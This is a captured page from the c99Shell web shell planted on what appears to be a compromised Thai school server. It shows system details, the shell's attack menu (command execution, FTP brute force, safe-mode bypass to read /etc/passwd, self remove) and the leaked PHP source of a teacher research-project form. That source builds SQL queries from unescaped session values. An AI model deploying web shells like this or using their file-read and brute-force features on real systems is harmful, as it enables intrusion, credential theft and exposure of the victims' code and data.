!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage_22222/teacher_aj_viratt/   drwxr-xr-x
Free 52.64 GB of 127.8 GB (41.19%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddResProject.php (6.87 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user")&&session_is_registered("Priority")&&session_is_registered("password") )
 {
 
$Username $valid_user;
 
$Password $password;
include(
"../include/FunctionDB.php");
include(
"../include/Function.php");
include(
"admin_menu.php");
 
ConnectDB();
 
$sql ="SELECT * FROM personal_tb WHERE Username='$Username'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);
   
$rs[Research_code] = mysql_insert_id();
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<style type="text/css">
<!--
.style14 {color: #000000}
.style21 {
    font-size: 14px;
    font-weight: bold;
}
.style22 {font-size: 14px}
-->
</style>
<table width="825" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="825"><br>
          <fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="menu_teacher.php " >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="Show_Res_Project.php?Teacher_code=<? echo $rs[Teacher_code?>">ข้อมูลความรับผิดชอบในโครงการ</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="Edit_Res_List.php?Teacher_code=<? echo $rs[Teacher_code?>">แก้ไขข้อมูลความรับผิดชอบในโครงการ</a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />เพิ่มประวัติการรับผิดชอบในโครงการ</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="Insert_Res_Project.php">
                <div align="left"><font size="2" face="Tahoma"><img src="../picture/previous.gif" onclick="window.history.back()"  width="85" height="22" border="0" /></font>
                </div>
                <table width="74%" border="0" align="center" cellpadding="0" cellspacing="1" style=" border:0px solid gray"size="12">
                  <tr>
                    <td height="29" bgcolor="#FFFFFF">&nbsp;</td>
                  </tr>
                  
                  
                  <tr>
                    <td height="43" ><table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
                      <tr bgcolor="#D1EFE6">
                        <td colspan="3" bgcolor="#FFFFFF"><div align="center" class="style21"><font color="#000000" face="Tahoma">เพิ่มข้อมูลความรับผิดชอบในโครงการ</font></div></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td width="22%" height="20" bgcolor="#FFFFFF"><div align="center" class="style22"><font face="Tahoma">ชื่อ-นามสกุล</font></div></td>
                        <td width="2%" bgcolor="#FFFFFF">&nbsp;</td>
                        <td width="76%" bgcolor="#FFFFFF">&nbsp;<font color="#006633">&nbsp;<font size="2" face="Tahoma"><strong><? echo $rs[First_name] ;?></strong></font><font size="2" face="Tahoma"><strong>&nbsp;&nbsp;<? echo $rs[Teacher_name] ;?> &nbsp;&nbsp;<? echo $rs[Teacher_lastname] ;?> </strong></font></font></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="22" bgcolor="#FFFFFF"><div align="center" class="style22"><font face="Tahoma">เรื่อง</font></div></td>
                        <td bgcolor="#FFFFFF"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>*</strong></font></div></td>
                        <td bgcolor="#FFFFFF"><input name="Project_name" type="text" class="input" id="Project_name" size="50" /></td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td height="22" bgcolor="#FFFFFF"><div align="center" class="style22"><font face="Tahoma">ปี 
                          พ.ศ.</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><input name="Year_res" type="text" id="Year_res" size="5" class="input" /></td>
                      </tr>
                      <tr bgcolor="#FFFFFF">
                        <td rowspan="2" bgcolor="#FFFFFF"><div align="center" class="style22"><font face="Tahoma">หน้าที่</font></div></td>
                        <td height="20" bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input type="radio" name="Duty" value="ประธาน" />
                          </font><font face="Tahoma"><span class="style22">
                          ประธาน
                          <input type="radio" name="Duty" value="รองประธาน" />
                          รองประธาน
                          <input type="radio" name="Duty" value="เลขานุการ" />
                          เลขานุการ
                          <input type="radio" name="Duty" value="วิทยากร" />
                          วิทยากร</span> </font></td>
                      </tr>
                      <tr bgcolor="#FFFFFF">
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">
                          <input type="radio" name="Duty" value="00005" />
                          </font><font face="Tahoma"><span class="style22">อื่นฯ
                          <input name="Duty_else" type="text" id="Duty_else" size="30" class="input" />
                          </span></font>                                                  </td>
                      </tr>
                      <tr bgcolor="#EEEEEE">
                        <td bgcolor="#FFFFFF"><div align="center" class="style22"><font face="Tahoma">การประยุกต์นำไปใช้งาน</font></div></td>
                        <td bgcolor="#FFFFFF">&nbsp;</td>
                        <td bgcolor="#FFFFFF"><textarea name="Apply" cols="60" rows="5" id="Apply" class="input"></textarea></td>
                      </tr>
                      <tr bgcolor="#D1EFE6">
                        <td colspan="3" bgcolor="#FFFFFF"><div align="center">
                            <input type="hidden" name="Teacher_code" value="<? echo $rs[Teacher_code]?>" />
                            <input type="submit" name="Submit" value=" บันทึก " class="button" />
                          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                          <input type="reset" name="Submit2" value="เริ่มใหม่" class="button" />
                        </div></td>
                      </tr>
                    </table></td>
                  </tr>
                </table>
              </form>
              <p>&nbsp;</p>
            </div>
            </label>
        </fieldset><br>
        <font color="<?php echo $GLOBALS["COLOR_FONT_3"];?>" size="2"><b>หมายเหตุ :</b> ใช้เมาส์คลิกที่ชื่อ<br>
      </font></td>
    </tr>
</table>
<?php 
    
}
else
{
       echo
"<meta http-equiv=\"refresh\" content=\"3;URL=../login.php\">\n";
       echo
"Please Login ";
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0065 ]--